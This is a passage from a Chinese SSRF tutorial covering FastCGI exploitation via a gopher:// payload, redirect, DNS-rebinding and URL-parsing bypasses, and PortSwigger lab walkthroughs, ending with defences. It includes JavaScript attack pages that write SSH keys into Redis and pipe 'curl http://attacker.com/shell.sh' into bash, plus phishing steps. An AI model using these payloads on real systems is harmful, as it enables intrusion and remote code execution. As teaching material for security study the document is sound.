    'REQUEST_METHOD': 'GET',                  // 请求方法为 GET
    'SCRIPT_FILENAME': '/var/www/html/index.php', // 要执行的 PHP 脚本文件的完整路径
    'SCRIPT_NAME': '/index.php',              // 脚本文件的相对路径
    'QUERY_STRING': '?a=1&b=2',               // 查询字符串参数
    'REQUEST_URI': '/index.php?a=1&b=2',      // 完整的请求 URI,包括脚本名称和查询字符串
    'DOCUMENT_ROOT': '/var/www/html',         // Web 服务器的文档根目录
    'SERVER_SOFTWARE': 'php/fcgiclient',      // 使用的服务器软件是 PHP 的 FastCGI 客户端
    'REMOTE_ADDR': '127.0.0.1',               // 发起请求的客户端 IP 地址
    'REMOTE_PORT': '12345',                   // 发起请求的客户端端口号
    'SERVER_ADDR': '127.0.0.1',               // 服务器的 IP 地址
    'SERVER_PORT': '80',                      // 服务器监听的端口号,默认 HTTP 端口
    'SERVER_NAME': 'localhost',               // 服务器的主机名
    'SERVER_PROTOCOL': 'HTTP/1.1',            // 使用的 HTTP 协议版本
    'PHP_VALUE': 'auto_prepend_file = php://input', // 配置 PHP 在执行脚本前自动包含 `php://input` 中的内容
    'PHP_ADMIN_VALUE': 'allow_url_include = On'     // 允许通过 URL 包含文件
}

工具构造Payload

  • 通过Gopherus工具生成Payload

python2 gopherus.py --exploit fastcgi

  • 填写写入的文件

/usr/local/lib/php/PEAR.php                 #这里输入的是一个已知存在的php文件
  • 填写想要执行的命令,生成最终的Payload

id

  • 拼接gopher://伪协议,更改生成Payload中的地址为目标地址,然后在存在SSRF的点进行提交,发现命令执行成功

gopher://172.250.250.12:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%08%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27id%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

绕过限制

302跳转绕过

原理

  • 为了防御SSRF攻击,开发者可能写了一些限制规则,不允许访问内部IP地址(私网地址)或特定的敏感文件/路径。

  • 如果服务在处理302跳转时没有重新应用这些规则,那么攻击者就可以通过返回一个302跳转的响应来引导服务器访问这些受限资源。

靶场复现

  • 此时想要访问http://127.0.0.1/flag.php上的内容,但是直接请求本地环回地址或者内网IP的话是被阻止的。

  • 此时的SSRF服务器如果可以访问公网,就可以在VPS上准备一个302重定向的代码文件(文件类型根据实际情况选择)

  • 如果目标服务器在处理302跳转时没有检查新的URL是否符合其安全策略,就会按照Location头部指示的位置发出请求

<?php
header("Location: http://127.0.0.1/flag.php");
?>

  • 在VPS使用php启动一个临时的服务器

php -S 0.0.0.0:8080

  • 在存在SSRF的位置访问刚刚准备的302重定向文件,发现成功绕过限制

http://139.9.200.42:8080/test.php

DNS重绑定绕过

原理

  • DNS重绑定的核心在于利用了DNS查询结果的可变性以及HTTP请求处理过程中可能存在的时序问题。

  • 攻击者首先注册一个由他们控制的域名,并配置DNS记录指向攻击者的VPS。

  • 当目标服务器尝试对该域名进行DNS解析并建立连接时,攻击者快速更改该域名的DNS记录,使其指向一个内部IP地址或其他受限资源,就可能绕过对内网资源的访问限制。

  • 比如:第一次提交时,首先WAF检测到攻击者通过SSRF漏洞访问的是一个域名,通过DNS解析发现是合法的地址(不是内网地址),就通过了WAF检测;此时如果攻击者在极短的时间内更换了域名解析的地址为目标内网的地址,服务端开始请求资源的时候,再次做DNS解析,此时解析出来的就是内网地址,就可能绕过对内网资源的访问限制,成功获取到内网的信息

  • 注意:攻击者获取可控的域名,最好是可以设置较低的TTL值(比如:0),这样可以快速更新DNS记录。

  • TTL值DNS记录在DNS缓存中可以保留的时间长度(以秒为单位)。当一个DNS查询发生时,结果会被缓存一段时间,这段时间由TTL决定,在这段时间内,后续的相同域名查询会直接使用缓存中的结果,而不会再次执行DNS查询。

  • 所以通过较低的TTL值,可以避免在第二次DNS解析时,用的是缓存中的结果,而不是重新绑定的ip地址

  • 最理想的TTL值是0,即在第一次解析之后,立马换成我们想要访问的内网IP

靶场复现

  • 直接访问内网的文件发现被过滤

  • 一个提供DNS解析TTL值为0的网站:https://lock.cmpxchg8b.com/rebinder.html

  • 在这个网站中输入一个公网IP和一个需要访问的目标内网地址,先后顺序无所谓,可以发现生成了一个域名

  • 此时在靶场中通过这个域名请求内网的资源,发现成功获取内网的资源

http://7f000001.8b09c82a.rbndr.us/flag.php

七、Burp靶场

针对本地的SSRF

  • 在针对服务器本身的SSRF攻击中,攻击者诱使应用程序通过其环回地址向托管应用程序的服务器发出HTTP请求,例如127.0.0.1localhost

  • 地址:https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost

  • 场景:一个购物应用程序允许用户查看某项商品是否在特定商店中有库存,该功能通过前端HTTP请求将URL传递给相关的后端API端点来实现。

  • 目标:通过SSRF漏洞访问服务器本地的的管理界面http://localhost/admin(绕过/admin的访问控制),并删除指定用户 carlos

  • 查看商品的库存信息,抓包发送到Repeater

  • 在Repeater中发现,该功能通过前端HTTP请求将URL传递给相关的后端API端点来实现,这会导致服务器向指定的URL发出请求,检索库存状态并将其返回给用户

  • 此时可以修改请求以指定服务器本身的本地URL,发现请求成功

  • 管理功能通常只有经过身份验证的合适用户才能访问,因此直接访问URL的攻击者不会看到任何感兴趣的内容。但是,当对/admin的请求来自本地机器本身时,会绕过正常的访问控制。应用程序授予对管理功能的完全访问权限,因为该请求似乎来自受信任的位置。

针对其它后端系统的SSRF

  • 服务器端请求伪造经常出现的一种信任关系是web服务器能够与内网的其他后端系统进行交互,这些后端系统通常是公网无法访问的的内网系统,这些内部后端系统包含敏感信息或者其它漏洞,通过SSRF漏洞就会造成任何能够与web服务器交互的人无需身份验证即可访问这些内网的系统。

  • 靶场地址:https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system

  • 场景:该靶场具有库存检查功能,可以从内部系统获取数据。

  • 目标:后端URL有一个管理界面(ip段为192.168.0.x,端口为8080,路径为/admin),通过SSRF漏洞访问这个内网的路径并删除用户carlos

  • 查看商品的库存信息,使用Burp抓包

  • 在Repeater中发现,该功能通过前端HTTP请求将URL传递给相关的后端API端点来实现,这会导致服务器向指定的URL发出请求,检索库存状态并将其返回给用户

  • 此时将数据包发送到Intruder,此时只知道ip段,所以修改URL请求任意内网主机8080端口的/admin路径,将主机位设置为变量,然后Payload设置为1-254,遍历整个内网,发现管理界面

绕过黑名单

  • 一些应用程序会阻止包含127.0.0.1localhost/admin等等字符串中的一些关键字或者整个字符串,这种情况下,可以使用一些技术绕过黑名单

  • 使用替代IP表示127.0.0.1,例如:2130706433017700000001127.1

  • 将自己的域名解析为127.0.0.1,然后请求自己的域名

  • 使用URL编码或大小写变体混淆被拦截/过滤的字符串。

  • 查看库存,使用Burp抓包,发送到Intruder

  • 此时直接通过SSRF访问本地的管理界面发现被拦截

  • 通过双URL编码将“a”混淆为%25%36%31http://loc%25%36%31lhost/%25%36%31dmin),发现防火墙未拦截,成功绕过黑名单限制

绕过白名单

  • 一些应用程序为了安全起见,只允许特定的、符合白名单规则的输入。例如:程序可能只接受来自某些特定主机(expected-host)的请求,如果应用程序在解析URL时存在问题或两次解析的结果不一致,就可能绕过白名单限制。

  • 可以对字符进行URL编码以混淆URL解析代码,如果实现过滤器的代码处理URL编码字符的方式不同于执行后端HTTP请求的代码,这或许也能绕过。

  • 甚至可以组合使用这些绕过方式

  • 在主机名之前的URL中嵌入凭据

  • 在URL中,可以在主机名之前使用@符号嵌入凭据。

  • 示例:https://expected-host@evil-host

  • 这里的expected-host是白名单允许的主机名,而evil-host 是攻击者控制的实际目标主机,某些解析器可能会将expected-host视为合法输入,但实际上请求会发送到evil-host

  • 使用URL片段 (#)

  • URL中的#符号用于指示片段,通常不会被服务器处理,而是由浏览器客户端解析。

  • 示例:https://evil-host#expected-host

  • 应用程序可能只检查#后面的内容(即 expected-host),认为它符合白名单规则,实际请求仍然会发送到evil-host

  • 利用DNS命名层次结构

  • DNS域名具有层次结构,子域名可以嵌套在父域名之下。

  • 示例:https://expected-host.evil-host

  • 这里的expected-host是白名单允许的主机名,但整个域名实际上是expected-host.evil-host,后者由攻击者控制,如果应用程序只简单地匹配expected-host,就可能误认为这是合法输入。

  • URL编码混淆

  • 攻击者可以通过对URL中的字符进行编码,来混淆解析器的行为。

  • 比如:原始URL为https://expected-host,编码后为https://%65%78%70%65%63%74%65%64-%68%6f%73%74

  • 如果应用程序实现过滤器的代码和执行HTTP请求的代码对URL编码的处理方式不同,就可能借此绕过限制。

  • 也可以将这些绕过方式组合使用

  • 查看库存,使用Burp抓包,发送到Repeater

  • 此时直接通过SSRF访问本地的管理界面发现被拦截

  • 将URL更改为http://[email protected]/,验证URL解析器是否支持嵌入式用户名;如果URL被接受,说明服务器的URL解析器支持嵌入式凭据,并且没有因额外的用户名部分而拒绝请求。

  • 此时的结果表明URL解析器支持嵌入式凭据

  • 在用户名中添加#,测试URL解析器对特殊字符的处理方式;如果URL被拒绝,说明服务器可能检测到非法字符并阻止了请求。

  • 此时发现被拒绝

  • #编码为%2523的双URL,尝试绕过服务器对特殊字符的检测,如果服务器返回“Internal Server Error”,这表明服务器可能尝试连接到username

  • 构造恶意URL访问管理界面,利用URL解析漏洞绕过白名单限制

http://127.0.0.1%[email protected]/admin/

开放重定向绕过SSRF白名单

  • 开放重定向漏洞原理:该漏洞发生在应用程序允许用户通过URL参数控制页面跳转的场景,例如以下URL允许用户指定跳转地址,如果应用程序未正确验证 url 参数,攻击者可以将用户重定向到任意网站。

http://example.com/redirect?url=http://malicious.com
  • 开放重定向漏洞绕过SSRF过滤器原理:假设服务器对SSRF请求的目标地址进行了严格的白名单过滤,但目标地址中包含一个开放重定向漏洞,攻击者可以利用该漏洞构造一个看似合法的URL,但实际上会触发重定向到攻击者指定的目标地址。

  • 靶场地址:https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection

  • 目标:绕过白名单限制,通过SSRF漏洞访问内网其它应用的管理界面http://192.168.0.12:8080/admin并删除用户carlos

  • 查看库存,使用Burp抓包,此时直接通过SSRF访问本地的管理界面发现被拦截

  • 点击查看下一个产品,再用Burp抓包,发现通过path=参数重定向到另一个页面

  • 此时就可以创建一个利用开放重定向漏洞的URL,并重定向到管理界面

/product/nextProduct?path=http://192.168.0.12:8080/admin

八、寻找SSRF的隐藏攻击面

请求中的部分 URL

  • 某些应用程序可能只接受主机名或URL的一部分作为输入,而不是完整的URL。例如:服务器会根据用户输入的部分内容动态生成完整的 URL。

  • 假设一个应用提供了一个功能,允许用户上传图片并显示在页面上。用户需要提供图片的路径,例如:

GET /upload?image_path=/user/avatar.jpg
  • 服务器可能会根据这个路径生成一个完整的URL,比如:

http://example.com/images/user/avatar.jpg
  • 此时可以尝试注入特殊字符:如果服务器对输入没有严格校验,可以尝试注入/://来改变URL的结构。例如:

GET /upload?image_path=../../etc/passwd
  • 如果服务器未正确处理路径遍历,最终生成的URL可能是:

http://example.com/images/../../etc/passwd
  • 此时就可能导致服务器访问本地文件系统。

  • 所以,实际测试时就可以修改参数为image_path=http://攻击者的域名/ip/恶意文件/资源,如果服务器未验证协议类型,它可能会访问外部恶意URL。

数据格式中的URL

  • 某些应用程序使用特定的数据格式(如 XML、JSON 等),这些格式中可能包含URL字段。如果服务器未正确解析或验证这些字段,就可能导致SSRF。

  • 举例1:XML中的URL

  • 假设一个应用接受XML格式的数据,并解析其中的内容。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/ssrf-test">
]>
<root>
  <data>&xxe;</data>
</root>
  • 如果服务器未禁用外部实体解析,它可能会访问 http://attacker.com/ssrf-test,从而触发SSRF。

  • 举例2:JSON中的 URL

  • 假设一个API接受JSON格式的请求,用于下载远程图片:

{
  "image_url": "http://example.com/images/photo.jpg"
}
  • 如果攻击者可以控制image_url参数,就可以尝试提交恶意URL:

{
  "image_url": "http://attacker.com/ssrf-test"
}

通过Referer头的SSRF

场景介绍

  • 假设目标公司使用自建私有云环境,内网中存在以下敏感服务:

  • 内部管理后台http://10.10.1.100/admin(需内网访问权限)。

  • Redis数据库redis://10.10.2.50:6379(未授权访问,可直接执行命令)。

  • GitLab服务http://gitlab.internal:8080(存在未修复的RCE漏洞)。

  • 攻击者目标是利用SSRF漏洞,通过伪造Referer头访问这些内网服务,实现内网渗透。

攻击过程

验证是否存在SSRF

  • 使用Burp Collaborator生成监听域名:

  • 在Burp Suite中生成一个唯一域名(如 xxxxx.oastify.com)。

  • 伪造Referer并发送请求:

<!-- 托管在攻击者服务器的恶意页面 -->
<script>
fetch('https://target-company.com/analytics', {
  headers: {
    'Referer': 'http://xxxxx.oastify.com'  // 替换为Collaborator域名
  }
});
</script>
  • 诱导用户访问恶意页面

  • 通过钓鱼邮件或社交工程,让用户访问 http://attacker.com/malicious-page.html

  • 观察Collaborator是否收到请求

  • 若收到DNS查询或HTTP请求,说明目标服务会访问Referer中的URL,存在SSRF可能。

阶段2:探测内网服务

  • 攻击脚本示例:

<!-- 恶意页面:遍历常见内网IP和端口 -->
<script>
//定义需要探测的内网IP地址或者服务
const internalIPs = ['10.10.1.100', '10.10.2.50','gitlab.internal'];
//定义需要探测的端口
const ports = [80, 8080, 6379];

// 遍历每个内网IP地址
internalIPs.forEach(ip => {
  // 对于每个IP地址,遍历所有指定的端口号
  ports.forEach(port => {
    const url = `http://${ip}:${port}/`;
    // 使用 fetch 方法向目标服务器发送请求
    fetch('https://target-company.com/analytics', {
      // 在请求头中设置 Referer 字段为构造的内网服务地址
      headers: {
        'Referer': url  // 设置Referer为内网服务地址
      }
    }).catch(() => {}); // 忽略错误(盲SSRF)
  });
});
</script>
  • 触发方式:

  • 用户访问恶意页面后,脚本自动发送多个请求,每个请求的Referer指向不同内网地址。

  • 若目标服务访问了这些地址,可能触发以下效果:

  • 时间延迟:若某个端口开放但无响应,请求会超时(通过响应时间推断端口状态)。

  • 第三方服务日志异常:若目标公司的统计服务记录错误日志(如连接被拒绝),可能暴露内网服务状态。

阶段3:利用SSRF攻击内网服务

  • 场景1:访问内部管理后台(HTTP服务)

  • 攻击脚本:

<script>
// 尝试访问管理后台
fetch('https://target-company.com/analytics', {
  headers: {
    'Referer': 'http://10.10.1.100/admin'  // 诱导服务器访问管理后台
  }
});
</script>
  • 场景2:攻击未授权Redis(数据库)

  • 攻击脚本:

<script>
// 利用Redis未授权访问写入SSH公钥
const redisPayload = [
  'flushall',
  'config set dir /root/.ssh/',
  'config set dbfilename authorized_keys',
  'set x "\\n\\n<攻击者SSH公钥>\\n\\n"',
  'save'
].join('\n');

const exploitURL = `http://attacker.com/redirect?url=redis://10.10.2.50:6379/${encodeURIComponent(redisPayload)}`;

fetch('https://target-company.com/analytics', {
  headers: {
    'Referer': exploitURL  // 诱导服务器访问Redis
  }
});
</script>
  • 场景3:利用GitLab RCE漏洞

  • 攻击脚本:

<script>
// 触发GitLab漏洞(例如CVE-2021-22205),假设GitLab服务运行在内网地址gitlab.internal上,并监听8080端口,利用GitLab API的一个假设性漏洞,将RCE Payload注入到请求参数中
// 通过curl从攻击者的服务器下载并执行shell脚本
const rcePayload = 'curl http://attacker.com/shell.sh | bash'; // 反弹Shell命令
// 使用 encodeURIComponent 对 Payload 进行编码,以确保特殊字符被正确处理
const gitlabExploitURL = `http://gitlab.internal:8080/api/v4/endpoint?param=${encodeURIComponent(rcePayload)}`;

fetch('https://target-company.com/analytics', {
  headers: {
    // 设置 Referer 为包含RCE Payload的GitLab URL
    'Referer': gitlabExploitURL  // 诱导服务器触发GitLab RCE
  }
});
</script>

注意

  • 不一定需要自己手写代码页面来构造请求,也可以直接抓修改re头部

其他潜在的攻击面

图片上传与处理

  • 假设一个应用允许用户上传图片,并从提供的URL下载图片。例如:

POST /upload
{
  "image_url": "http://example.com/images/photo.jpg"
}
  • 如果可以控制image_url参数,就可以尝试提交恶意URL:

POST /upload
{
  "image_url": "http://attacker.com/ssrf-test"
}

第三方服务集成

  • 假设一个支付网关需要调用用户的回调URL。如果攻击者可以控制回调URL,就可能触发SSRF:

POST /payment
{
  "callback_url": "http://attacker.com/ssrf-test"
}

九、防御方式

  • 禁止跳转

  • 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件,那么在将返回结果展示给用户之前,先验证返回的信息是否符合标准。

  • 禁用不需要的协议,仅允许http和https请求,可以防止类似于攻击者使用伪协议引起的问题

  • 设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网 IP)

  • 限制请求的端口为http常用的端口,比如80、443、8080、8090

  • 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

  • 屏蔽返回信息:屏蔽返回的详细信息,防止攻击者利用返回的信息进行进一步的攻击。

  • 使用代理服务器:通过代理服务器来转发请求,这样即使攻击者能够构造伪造的请求,也无法直接访问到目标资源。

  • 验证和过滤目标地址:对请求的目标地址进行严格的验证和过滤,确保只有合法的地址才能被访问。